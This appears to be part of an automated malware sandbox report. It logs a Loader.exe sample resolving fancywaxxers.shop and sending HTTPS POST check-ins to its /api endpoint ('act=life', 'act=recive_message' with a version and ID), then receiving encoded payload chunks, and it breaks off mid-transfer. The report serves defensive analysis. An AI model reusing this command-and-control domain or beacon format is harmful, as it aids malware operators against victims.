Dec 31, 2024 17:38:39.595860004 CET	443	49792	104.21.80.1	192.168.2.5
Dec 31, 2024 17:38:39.596318007 CET	443	49792	104.21.80.1	192.168.2.5
Dec 31, 2024 17:38:39.598472118 CET	49792	443	192.168.2.5	104.21.80.1
Dec 31, 2024 17:38:39.598654032 CET	49792	443	192.168.2.5	104.21.80.1
Dec 31, 2024 17:38:39.602678061 CET	443	49792	104.21.80.1	192.168.2.5
Dec 31, 2024 17:38:40.377929926 CET	443	49792	104.21.80.1	192.168.2.5
Dec 31, 2024 17:38:40.378037930 CET	443	49792	104.21.80.1	192.168.2.5
Dec 31, 2024 17:38:40.378087044 CET	49792	443	192.168.2.5	104.21.80.1
Dec 31, 2024 17:38:40.378282070 CET	49792	443	192.168.2.5	104.21.80.1
Dec 31, 2024 17:38:40.378300905 CET	443	49792	104.21.80.1	192.168.2.5
Dec 31, 2024 17:38:40.549982071 CET	49800	443	192.168.2.5	104.21.80.1
Dec 31, 2024 17:38:40.550024033 CET	443	49800	104.21.80.1	192.168.2.5
Dec 31, 2024 17:38:40.550088882 CET	49800	443	192.168.2.5	104.21.80.1
Dec 31, 2024 17:38:40.550369024 CET	49800	443	192.168.2.5	104.21.80.1
Dec 31, 2024 17:38:40.550384998 CET	443	49800	104.21.80.1	192.168.2.5
Dec 31, 2024 17:38:41.042989969 CET	443	49800	104.21.80.1	192.168.2.5
Dec 31, 2024 17:38:41.043154001 CET	49800	443	192.168.2.5	104.21.80.1
Dec 31, 2024 17:38:41.051495075 CET	49800	443	192.168.2.5	104.21.80.1
Dec 31, 2024 17:38:41.051527023 CET	443	49800	104.21.80.1	192.168.2.5
Dec 31, 2024 17:38:41.051776886 CET	443	49800	104.21.80.1	192.168.2.5
Dec 31, 2024 17:38:41.053881884 CET	49800	443	192.168.2.5	104.21.80.1
Dec 31, 2024 17:38:41.054013014 CET	49800	443	192.168.2.5	104.21.80.1
Dec 31, 2024 17:38:41.054040909 CET	443	49800	104.21.80.1	192.168.2.5
Dec 31, 2024 17:38:41.054100037 CET	49800	443	192.168.2.5	104.21.80.1
Dec 31, 2024 17:38:41.099323988 CET	443	49800	104.21.80.1	192.168.2.5
Dec 31, 2024 17:38:42.604005098 CET	443	49800	104.21.80.1	192.168.2.5
Dec 31, 2024 17:38:42.604134083 CET	443	49800	104.21.80.1	192.168.2.5
Dec 31, 2024 17:38:42.604183912 CET	49800	443	192.168.2.5	104.21.80.1
Dec 31, 2024 17:38:42.604362011 CET	49800	443	192.168.2.5	104.21.80.1
Dec 31, 2024 17:38:42.604379892 CET	443	49800	104.21.80.1	192.168.2.5
Dec 31, 2024 17:38:42.911978960 CET	49815	443	192.168.2.5	104.21.80.1
Dec 31, 2024 17:38:42.912010908 CET	443	49815	104.21.80.1	192.168.2.5
Dec 31, 2024 17:38:42.912230015 CET	49815	443	192.168.2.5	104.21.80.1
Dec 31, 2024 17:38:42.912655115 CET	49815	443	192.168.2.5	104.21.80.1
Dec 31, 2024 17:38:42.912664890 CET	443	49815	104.21.80.1	192.168.2.5
Dec 31, 2024 17:38:43.396503925 CET	443	49815	104.21.80.1	192.168.2.5
Dec 31, 2024 17:38:43.396651983 CET	49815	443	192.168.2.5	104.21.80.1
Dec 31, 2024 17:38:43.398169041 CET	49815	443	192.168.2.5	104.21.80.1
Dec 31, 2024 17:38:43.398180008 CET	443	49815	104.21.80.1	192.168.2.5
Dec 31, 2024 17:38:43.398420095 CET	443	49815	104.21.80.1	192.168.2.5
Dec 31, 2024 17:38:43.399655104 CET	49815	443	192.168.2.5	104.21.80.1
Dec 31, 2024 17:38:43.399779081 CET	49815	443	192.168.2.5	104.21.80.1
Dec 31, 2024 17:38:43.399807930 CET	443	49815	104.21.80.1	192.168.2.5
Dec 31, 2024 17:38:43.399884939 CET	49815	443	192.168.2.5	104.21.80.1
Dec 31, 2024 17:38:43.399894953 CET	443	49815	104.21.80.1	192.168.2.5
Dec 31, 2024 17:38:44.153351068 CET	443	49815	104.21.80.1	192.168.2.5
Dec 31, 2024 17:38:44.153446913 CET	443	49815	104.21.80.1	192.168.2.5
Dec 31, 2024 17:38:44.153567076 CET	49815	443	192.168.2.5	104.21.80.1
Dec 31, 2024 17:38:44.153784990 CET	49815	443	192.168.2.5	104.21.80.1
Dec 31, 2024 17:38:44.153804064 CET	443	49815	104.21.80.1	192.168.2.5
Dec 31, 2024 17:38:44.882107019 CET	49827	443	192.168.2.5	104.21.80.1
Dec 31, 2024 17:38:44.882162094 CET	443	49827	104.21.80.1	192.168.2.5
Dec 31, 2024 17:38:44.882276058 CET	49827	443	192.168.2.5	104.21.80.1
Dec 31, 2024 17:38:44.882618904 CET	49827	443	192.168.2.5	104.21.80.1
Dec 31, 2024 17:38:44.882633924 CET	443	49827	104.21.80.1	192.168.2.5
Dec 31, 2024 17:38:45.340277910 CET	443	49827	104.21.80.1	192.168.2.5
Dec 31, 2024 17:38:45.340382099 CET	49827	443	192.168.2.5	104.21.80.1
Dec 31, 2024 17:38:45.341649055 CET	49827	443	192.168.2.5	104.21.80.1
Dec 31, 2024 17:38:45.341655016 CET	443	49827	104.21.80.1	192.168.2.5
Dec 31, 2024 17:38:45.341906071 CET	443	49827	104.21.80.1	192.168.2.5
Dec 31, 2024 17:38:45.343123913 CET	49827	443	192.168.2.5	104.21.80.1
Dec 31, 2024 17:38:45.343239069 CET	49827	443	192.168.2.5	104.21.80.1
Dec 31, 2024 17:38:45.343245029 CET	443	49827	104.21.80.1	192.168.2.5
Dec 31, 2024 17:38:46.344903946 CET	443	49827	104.21.80.1	192.168.2.5
Dec 31, 2024 17:38:46.344996929 CET	443	49827	104.21.80.1	192.168.2.5
Dec 31, 2024 17:38:46.345065117 CET	49827	443	192.168.2.5	104.21.80.1
Dec 31, 2024 17:38:46.345232010 CET	49827	443	192.168.2.5	104.21.80.1
Dec 31, 2024 17:38:46.345252991 CET	443	49827	104.21.80.1	192.168.2.5
Dec 31, 2024 17:38:46.846610069 CET	49842	443	192.168.2.5	104.21.80.1
Dec 31, 2024 17:38:46.846658945 CET	443	49842	104.21.80.1	192.168.2.5
Dec 31, 2024 17:38:46.846728086 CET	49842	443	192.168.2.5	104.21.80.1
Dec 31, 2024 17:38:46.847084999 CET	49842	443	192.168.2.5	104.21.80.1
Dec 31, 2024 17:38:46.847099066 CET	443	49842	104.21.80.1	192.168.2.5
Dec 31, 2024 17:38:47.321428061 CET	443	49842	104.21.80.1	192.168.2.5
Dec 31, 2024 17:38:47.321563959 CET	49842	443	192.168.2.5	104.21.80.1
Dec 31, 2024 17:38:47.322927952 CET	49842	443	192.168.2.5	104.21.80.1
Dec 31, 2024 17:38:47.322952032 CET	443	49842	104.21.80.1	192.168.2.5
Dec 31, 2024 17:38:47.323199987 CET	443	49842	104.21.80.1	192.168.2.5
Dec 31, 2024 17:38:47.324887037 CET	49842	443	192.168.2.5	104.21.80.1
Dec 31, 2024 17:38:47.325597048 CET	49842	443	192.168.2.5	104.21.80.1
Dec 31, 2024 17:38:47.325635910 CET	443	49842	104.21.80.1	192.168.2.5
Dec 31, 2024 17:38:47.326561928 CET	49842	443	192.168.2.5	104.21.80.1
Dec 31, 2024 17:38:47.326601028 CET	443	49842	104.21.80.1	192.168.2.5
Dec 31, 2024 17:38:47.327703953 CET	49842	443	192.168.2.5	104.21.80.1
Dec 31, 2024 17:38:47.327759027 CET	443	49842	104.21.80.1	192.168.2.5
Dec 31, 2024 17:38:47.327928066 CET	49842	443	192.168.2.5	104.21.80.1
Dec 31, 2024 17:38:47.327969074 CET	443	49842	104.21.80.1	192.168.2.5
Dec 31, 2024 17:38:47.328129053 CET	49842	443	192.168.2.5	104.21.80.1
Dec 31, 2024 17:38:47.328180075 CET	443	49842	104.21.80.1	192.168.2.5
Dec 31, 2024 17:38:47.328360081 CET	49842	443	192.168.2.5	104.21.80.1
Dec 31, 2024 17:38:47.328407049 CET	443	49842	104.21.80.1	192.168.2.5
Dec 31, 2024 17:38:47.328418016 CET	49842	443	192.168.2.5	104.21.80.1
Dec 31, 2024 17:38:47.328425884 CET	443	49842	104.21.80.1	192.168.2.5
Dec 31, 2024 17:38:47.328615904 CET	49842	443	192.168.2.5	104.21.80.1
Dec 31, 2024 17:38:47.328653097 CET	443	49842	104.21.80.1	192.168.2.5
Dec 31, 2024 17:38:47.328682899 CET	49842	443	192.168.2.5	104.21.80.1
Dec 31, 2024 17:38:47.328700066 CET	49842	443	192.168.2.5	104.21.80.1
Dec 31, 2024 17:38:47.328809023 CET	49842	443	192.168.2.5	104.21.80.1
Dec 31, 2024 17:38:47.328850031 CET	49842	443	192.168.2.5	104.21.80.1
Dec 31, 2024 17:38:47.336586952 CET	443	49842	104.21.80.1	192.168.2.5
Dec 31, 2024 17:38:47.336781025 CET	49842	443	192.168.2.5	104.21.80.1
Dec 31, 2024 17:38:47.336833000 CET	443	49842	104.21.80.1	192.168.2.5
Dec 31, 2024 17:38:47.336864948 CET	49842	443	192.168.2.5	104.21.80.1
Dec 31, 2024 17:38:47.336889982 CET	443	49842	104.21.80.1	192.168.2.5
Dec 31, 2024 17:38:47.336931944 CET	49842	443	192.168.2.5	104.21.80.1
Dec 31, 2024 17:38:47.336947918 CET	443	49842	104.21.80.1	192.168.2.5
Dec 31, 2024 17:38:47.336986065 CET	49842	443	192.168.2.5	104.21.80.1
Dec 31, 2024 17:38:47.337006092 CET	443	49842	104.21.80.1	192.168.2.5
Dec 31, 2024 17:38:48.960253000 CET	443	49842	104.21.80.1	192.168.2.5
Dec 31, 2024 17:38:48.960371017 CET	443	49842	104.21.80.1	192.168.2.5
Dec 31, 2024 17:38:48.960442066 CET	49842	443	192.168.2.5	104.21.80.1
Dec 31, 2024 17:38:48.960532904 CET	49842	443	192.168.2.5	104.21.80.1
Dec 31, 2024 17:38:48.960544109 CET	443	49842	104.21.80.1	192.168.2.5
Dec 31, 2024 17:38:48.970010996 CET	49858	443	192.168.2.5	104.21.80.1
Dec 31, 2024 17:38:48.970051050 CET	443	49858	104.21.80.1	192.168.2.5
Dec 31, 2024 17:38:48.970144033 CET	49858	443	192.168.2.5	104.21.80.1
Dec 31, 2024 17:38:48.970432997 CET	49858	443	192.168.2.5	104.21.80.1
Dec 31, 2024 17:38:48.970448017 CET	443	49858	104.21.80.1	192.168.2.5
Dec 31, 2024 17:38:49.423799992 CET	443	49858	104.21.80.1	192.168.2.5
Dec 31, 2024 17:38:49.423943043 CET	49858	443	192.168.2.5	104.21.80.1
Dec 31, 2024 17:38:49.425410986 CET	49858	443	192.168.2.5	104.21.80.1
Dec 31, 2024 17:38:49.425422907 CET	443	49858	104.21.80.1	192.168.2.5
Dec 31, 2024 17:38:49.425671101 CET	443	49858	104.21.80.1	192.168.2.5
Dec 31, 2024 17:38:49.426866055 CET	49858	443	192.168.2.5	104.21.80.1
Dec 31, 2024 17:38:49.426902056 CET	49858	443	192.168.2.5	104.21.80.1
Dec 31, 2024 17:38:49.426939011 CET	443	49858	104.21.80.1	192.168.2.5
Dec 31, 2024 17:38:49.900968075 CET	443	49858	104.21.80.1	192.168.2.5
Dec 31, 2024 17:38:49.901030064 CET	443	49858	104.21.80.1	192.168.2.5
Dec 31, 2024 17:38:49.901107073 CET	443	49858	104.21.80.1	192.168.2.5
Dec 31, 2024 17:38:49.901119947 CET	49858	443	192.168.2.5	104.21.80.1
Dec 31, 2024 17:38:49.901129961 CET	443	49858	104.21.80.1	192.168.2.5
Dec 31, 2024 17:38:49.901182890 CET	443	49858	104.21.80.1	192.168.2.5
Dec 31, 2024 17:38:49.901209116 CET	49858	443	192.168.2.5	104.21.80.1
Dec 31, 2024 17:38:49.901216984 CET	443	49858	104.21.80.1	192.168.2.5
Dec 31, 2024 17:38:49.901258945 CET	49858	443	192.168.2.5	104.21.80.1
Dec 31, 2024 17:38:49.901650906 CET	443	49858	104.21.80.1	192.168.2.5
Dec 31, 2024 17:38:49.901911020 CET	443	49858	104.21.80.1	192.168.2.5
Dec 31, 2024 17:38:49.901958942 CET	443	49858	104.21.80.1	192.168.2.5
Dec 31, 2024 17:38:49.901988983 CET	49858	443	192.168.2.5	104.21.80.1
Dec 31, 2024 17:38:49.901998997 CET	443	49858	104.21.80.1	192.168.2.5
Dec 31, 2024 17:38:49.902039051 CET	443	49858	104.21.80.1	192.168.2.5
Dec 31, 2024 17:38:49.902040958 CET	49858	443	192.168.2.5	104.21.80.1
Dec 31, 2024 17:38:49.902054071 CET	443	49858	104.21.80.1	192.168.2.5
Dec 31, 2024 17:38:49.902103901 CET	49858	443	192.168.2.5	104.21.80.1
Dec 31, 2024 17:38:49.902735949 CET	443	49858	104.21.80.1	192.168.2.5
Dec 31, 2024 17:38:49.902851105 CET	443	49858	104.21.80.1	192.168.2.5
Dec 31, 2024 17:38:49.902909040 CET	49858	443	192.168.2.5	104.21.80.1
Dec 31, 2024 17:38:49.902971983 CET	49858	443	192.168.2.5	104.21.80.1
Dec 31, 2024 17:38:49.902976036 CET	443	49858	104.21.80.1	192.168.2.5
Dec 31, 2024 17:38:49.903000116 CET	49858	443	192.168.2.5	104.21.80.1
Dec 31, 2024 17:38:49.903003931 CET	443	49858	104.21.80.1	192.168.2.5

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 31, 2024 17:38:09.045715094 CET	65173	53	192.168.2.5	1.1.1.1
Dec 31, 2024 17:38:09.055866957 CET	53	65173	1.1.1.1	192.168.2.5

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 31, 2024 17:38:09.045715094 CET	192.168.2.5	1.1.1.1	0xa317	Standard query (0)	fancywaxxers.shop	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Dec 31, 2024 17:38:09.055866957 CET	1.1.1.1	192.168.2.5	0xa317	No error (0)	fancywaxxers.shop	104.21.80.1	A (IP address)	IN (0x0001)	false
Dec 31, 2024 17:38:09.055866957 CET	1.1.1.1	192.168.2.5	0xa317	No error (0)	fancywaxxers.shop	104.21.16.1	A (IP address)	IN (0x0001)	false
Dec 31, 2024 17:38:09.055866957 CET	1.1.1.1	192.168.2.5	0xa317	No error (0)	fancywaxxers.shop	104.21.32.1	A (IP address)	IN (0x0001)	false
Dec 31, 2024 17:38:09.055866957 CET	1.1.1.1	192.168.2.5	0xa317	No error (0)	fancywaxxers.shop	104.21.112.1	A (IP address)	IN (0x0001)	false
Dec 31, 2024 17:38:09.055866957 CET	1.1.1.1	192.168.2.5	0xa317	No error (0)	fancywaxxers.shop	104.21.96.1	A (IP address)	IN (0x0001)	false
Dec 31, 2024 17:38:09.055866957 CET	1.1.1.1	192.168.2.5	0xa317	No error (0)	fancywaxxers.shop	104.21.48.1	A (IP address)	IN (0x0001)	false
Dec 31, 2024 17:38:09.055866957 CET	1.1.1.1	192.168.2.5	0xa317	No error (0)	fancywaxxers.shop	104.21.64.1	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

fancywaxxers.shop

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49704	104.21.80.1	443	6472	C:\Users\user\Desktop\Loader.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-31 16:38:09 UTC	264	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: fancywaxxers.shop
2024-12-31 16:38:09 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-12-31 16:38:37 UTC	1127	IN	HTTP/1.1 200 OK Date: Tue, 31 Dec 2024 16:38:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=mbbruu8q5nqg0v2uenu8pdh7q5; expires=Sat, 26 Apr 2025 10:25:16 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=3r90XXXqlgIO5paV9pMgcymeew4LucO7ONsXr%2BC0rLgmBr9181ez1W1TFXRXNspztaYSxrhvSheAkdoYZaKKAfrI2A62DyDqIk9eRLcZip8FSoSrwJ4vp6IWWJg3knFcqT3Z8A%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fabb2c67cbe8c0f-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1956&min_rtt=1946&rtt_var=750&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2843&recv_bytes=908&delivery_rate=1439842&cwnd=223&unsent_bytes=0&cid=ccc5f444d74acfb9&ts=28285&x=0"
2024-12-31 16:38:37 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-12-31 16:38:37 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49781	104.21.80.1	443	6472	C:\Users\user\Desktop\Loader.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-31 16:38:38 UTC	265	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 52 Host: fancywaxxers.shop
2024-12-31 16:38:38 UTC	52	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 79 61 75 36 4e 61 2d 2d 35 38 30 39 32 32 34 31 30 33 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=yau6Na--5809224103&j=
2024-12-31 16:38:38 UTC	1127	IN	HTTP/1.1 200 OK Date: Tue, 31 Dec 2024 16:38:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=vt7ne1f2q92go9qgvou3bldfqo; expires=Sat, 26 Apr 2025 10:25:17 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=EOlYiwQSWThwRfAf4Wu%2Bh98gVEtpocQeLqtNhnGrAaawPJIo6UJLlXTIQGZFmHqV%2BX72pdNxj1meHPBciiIAIq9qIpbJsaWp5ewVbkcQs19bSAY0JrpBLYDTudJVQDyfPieHOA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fabb379f87e42d2-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1558&min_rtt=1551&rtt_var=597&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2843&recv_bytes=953&delivery_rate=1810291&cwnd=229&unsent_bytes=0&cid=bff52d35bf23b591&ts=486&x=0"
2024-12-31 16:38:38 UTC	242	IN	Data Raw: 34 39 39 34 0d 0a 46 4e 44 57 53 56 5a 57 47 79 64 6e 45 4f 35 66 62 79 37 66 65 67 58 73 34 79 79 66 51 4a 36 35 63 38 48 70 68 46 56 50 52 48 5a 76 38 71 42 72 62 47 49 33 42 52 52 31 7a 47 55 62 58 4b 6f 66 4b 63 36 43 53 4c 31 36 2b 4e 67 66 73 6f 79 6f 64 7a 6b 70 56 43 36 32 74 79 55 6c 4d 7a 63 46 41 6d 6a 4d 5a 54 52 56 2f 52 39 72 7a 74 6b 4f 2b 69 72 38 32 42 2b 6a 69 4f 38 36 50 79 67 56 66 4c 79 78 49 54 4d 31 66 30 59 4c 66 59 73 36 43 6b 2b 31 46 47 79 42 69 30 47 39 62 4c 7a 63 43 65 50 54 70 68 67 71 4d 42 64 5a 73 61 55 69 64 43 73 33 58 45 56 31 67 48 31 56 44 4c 34 66 5a 34 43 46 53 50 51 6f 39 74 45 58 6f 6f 33 75 4a 53 59 69 48 6e 79 79 73 69 41 35 50 47 74 4c 41 58 71 41 50 41 42 50 2f 56 59 6e Data Ascii: 4994FNDWSVZWGydnEO5fby7fegXs4yyfQJ65c8HphFVPRHZv8qBrbGI3BRR1zGUbXKofKc6CSL16+NgfsoyodzkpVC62tyUlMzcFAmjMZTRV/R9rztkO+ir82B+jiO86PygVfLyxITM1f0YLfYs6Ck+1FGyBi0G9bLzcCePTphgqMBdZsaUidCs3XEV1gH1VDL4fZ4CFSPQo9tEXoo3uJSYiHnyysiA5PGtLAXqAPABP/VYn
2024-12-31 16:38:38 UTC	1369	IN	Data Raw: 69 5a 6b 4f 70 57 4b 76 36 52 4b 79 6d 76 4d 36 50 53 42 55 61 66 79 74 61 7a 4d 34 4f 52 31 46 65 6f 41 7a 43 45 2b 79 48 32 61 4f 6b 30 48 39 49 66 54 54 46 61 6d 45 36 54 67 6a 4c 42 4e 2b 75 37 4d 6b 4d 7a 78 2f 53 67 59 79 77 6e 30 4b 56 50 31 41 4a 36 36 52 54 66 34 32 38 63 70 52 76 4d 58 2f 64 79 6f 71 56 43 37 79 73 69 55 31 4f 58 6c 58 44 58 6d 48 4f 42 39 48 74 42 56 71 6a 6f 78 45 38 69 48 38 33 42 75 70 68 4f 77 7a 49 43 73 53 64 72 4c 30 5a 58 51 7a 59 51 56 64 4d 71 38 34 48 55 75 78 44 69 57 30 77 56 47 7a 4f 37 7a 63 48 65 50 54 70 6a 38 6f 4a 52 64 39 76 62 63 6a 50 79 5a 35 56 77 4e 2f 69 53 38 4c 53 62 4d 53 5a 4a 79 4c 51 50 73 68 39 64 41 59 70 6f 7a 69 64 32 4e 6d 45 32 37 79 37 47 73 56 4f 58 4a 4a 44 32 57 4d 66 52 49 43 70 46 68 Data Ascii: iZkOpWKv6RKymvM6PSBUafytazM4OR1FeoAzCE+yH2aOk0H9IfTTFamE6TgjLBN+u7MkMzx/SgYywn0KVP1AJ66RTf428cpRvMX/dyoqVC7ysiU1OXlXDXmHOB9HtBVqjoxE8iH83BuphOwzICsSdrL0ZXQzYQVdMq84HUuxDiW0wVGzO7zcHePTpj8oJRd9vbcjPyZ5VwN/iS8LSbMSZJyLQPsh9dAYpozid2NmE27y7GsVOXJJD2WMfRICpFh
2024-12-31 16:38:38 UTC	1369	IN	Data Raw: 50 73 74 38 64 64 52 37 63 76 68 4c 32 31 2b 56 46 79 78 6f 43 67 2b 64 6b 78 47 43 33 79 4c 4b 30 31 54 38 77 45 6e 69 59 30 4f 70 57 4c 78 32 68 6d 6c 6d 65 6b 36 4c 69 67 61 65 62 65 37 49 7a 51 30 64 45 41 42 65 59 63 2b 41 45 69 76 45 6d 65 47 68 45 2f 33 4b 4c 79 56 55 61 53 54 70 6d 39 74 46 77 4e 39 38 49 45 6f 4f 6a 70 2b 55 30 56 74 77 69 52 4e 53 37 46 59 50 38 36 4d 52 76 67 6e 38 39 6f 62 72 59 37 73 4f 79 55 6f 46 32 53 39 73 43 73 34 50 48 4e 49 43 33 61 45 4e 41 5a 48 75 78 68 6d 68 4d 45 41 76 53 58 6b 6d 30 6e 6a 76 2b 45 37 49 43 6c 57 51 37 47 36 4a 54 4d 69 4f 56 70 4c 61 38 77 36 41 51 7a 6c 57 47 75 48 67 55 58 33 4a 76 7a 63 48 4b 61 49 34 54 51 67 49 52 35 34 74 62 41 6e 50 54 6c 2f 52 51 4a 32 69 53 38 49 52 62 45 55 4a 38 44 42 Data Ascii: Pst8ddR7cvhL21+VFyxoCg+dkxGC3yLK01T8wEniY0OpWLx2hmlmek6Ligaebe7IzQ0dEABeYc+AEivEmeGhE/3KLyVUaSTpm9tFwN98IEoOjp+U0VtwiRNS7FYP86MRvgn89obrY7sOyUoF2S9sCs4PHNIC3aENAZHuxhmhMEAvSXkm0njv+E7IClWQ7G6JTMiOVpLa8w6AQzlWGuHgUX3JvzcHKaI4TQgIR54tbAnPTl/RQJ2iS8IRbEUJ8DB
2024-12-31 16:38:38 UTC	1369	IN	Data Raw: 4c 43 55 61 53 48 70 6d 39 74 4c 78 31 6b 76 4c 6f 69 4f 54 4a 78 51 67 74 2f 68 7a 73 47 53 37 6f 65 61 6f 61 4d 53 2f 34 6a 2b 4e 45 44 6f 49 44 73 4f 69 64 6d 57 6a 61 31 72 47 74 73 64 46 35 4a 4c 47 4b 58 4c 78 73 4d 6f 6c 5a 2b 7a 6f 5a 43 76 58 71 38 32 42 36 71 68 4f 34 2f 49 69 6b 51 65 4c 53 79 4a 6a 45 37 63 31 63 4e 66 49 45 32 41 6b 65 76 47 47 71 4b 6a 55 72 31 4b 66 61 62 58 2b 4f 4d 2f 6e 64 31 5a 69 46 37 76 62 51 6f 49 6e 52 6d 43 78 77 79 69 7a 46 4e 46 50 30 55 61 59 36 4f 51 76 45 70 39 4e 6f 64 72 59 7a 6a 50 69 55 75 42 6e 65 32 76 43 6f 36 4f 33 68 42 41 48 65 49 4f 67 6c 4b 73 6c 67 70 7a 6f 5a 57 76 58 71 38 39 44 61 57 79 63 63 4e 62 54 6c 61 62 2f 4b 7a 4a 33 52 73 4f 55 6b 47 66 6f 51 79 43 30 57 78 45 6d 36 46 6a 55 58 35 4c Data Ascii: LCUaSHpm9tLx1kvLoiOTJxQgt/hzsGS7oeaoaMS/4j+NEDoIDsOidmWja1rGtsdF5JLGKXLxsMolZ+zoZCvXq82B6qhO4/IikQeLSyJjE7c1cNfIE2AkevGGqKjUr1KfabX+OM/nd1ZiF7vbQoInRmCxwyizFNFP0UaY6OQvEp9NodrYzjPiUuBne2vCo6O3hBAHeIOglKslgpzoZWvXq89DaWyccNbTlab/KzJ3RsOUkGfoQyC0WxEm6FjUX5L
2024-12-31 16:38:38 UTC	1369	IN	Data Raw: 73 69 75 63 78 50 79 45 64 5a 4c 79 35 4a 44 77 38 63 45 51 42 64 34 45 37 41 55 61 38 48 32 6d 41 69 51 36 7a 59 76 76 44 55 66 76 4c 78 79 63 32 4e 41 4a 37 6b 37 6b 6b 64 43 73 33 58 45 56 31 67 48 31 56 44 4c 51 4b 59 34 4f 54 52 2f 6f 73 38 39 67 44 6f 6f 62 74 4a 53 6f 70 45 48 47 2b 73 69 51 79 4e 58 78 50 43 58 57 4a 4e 67 4a 41 2f 56 59 6e 69 5a 6b 4f 70 57 4c 53 30 41 4b 30 69 4f 67 38 4f 7a 31 55 61 66 79 74 61 7a 4d 34 4f 52 31 46 63 59 63 32 43 55 79 78 47 47 4f 44 67 56 7a 79 4a 66 76 53 47 72 47 42 34 54 41 6d 4c 68 39 35 74 4b 59 6e 4f 69 5a 38 56 78 63 79 77 6e 30 4b 56 50 31 41 4a 37 69 47 58 75 30 68 76 75 6f 48 6f 4a 33 74 4f 69 46 6d 43 7a 69 72 39 43 77 34 64 43 45 46 41 33 32 46 50 67 4a 4e 74 42 52 71 69 34 68 4c 2f 43 54 34 30 52 Data Ascii: siucxPyEdZLy5JDw8cEQBd4E7AUa8H2mAiQ6zYvvDUfvLxyc2NAJ7k7kkdCs3XEV1gH1VDLQKY4OTR/os89gDoobtJSopEHG+siQyNXxPCXWJNgJA/VYniZkOpWLS0AK0iOg8Oz1UafytazM4OR1FcYc2CUyxGGODgVzyJfvSGrGB4TAmLh95tKYnOiZ8Vxcywn0KVP1AJ7iGXu0hvuoHoJ3tOiFmCzir9Cw4dCEFA32FPgJNtBRqi4hL/CT40R
2024-12-31 16:38:38 UTC	1369	IN	Data Raw: 64 7a 4a 6f 44 54 61 31 75 47 74 73 64 48 70 43 42 6e 4f 47 4e 41 46 44 75 68 78 31 68 49 5a 63 2f 43 50 33 31 68 32 6a 68 75 73 39 4c 43 38 5a 65 72 2b 7a 4c 44 73 78 4f 51 74 46 64 5a 52 39 56 51 79 63 46 57 79 43 32 68 53 39 50 62 4c 43 55 61 53 48 70 6d 39 74 4a 68 35 7a 75 4c 6b 6f 4f 7a 64 72 52 41 4e 67 6a 44 41 48 58 72 63 54 59 6f 4f 4d 51 2f 34 6b 2b 74 41 64 73 59 4c 6d 4e 43 5a 6d 57 6a 61 31 72 47 74 73 64 46 70 53 45 33 69 4c 4d 52 74 48 76 42 74 78 67 35 45 4f 73 32 4c 74 33 41 44 6a 30 2f 41 6e 4f 69 45 4c 4f 4b 76 30 4c 44 68 30 49 51 55 44 65 34 6f 36 43 30 4b 76 48 57 47 42 6a 6b 66 30 4a 76 54 59 45 61 65 50 34 54 49 75 4b 68 39 78 73 62 73 76 50 54 70 77 53 6b 55 38 7a 44 6f 56 44 4f 56 59 52 70 57 43 51 76 42 69 34 35 55 49 34 34 7a Data Ascii: 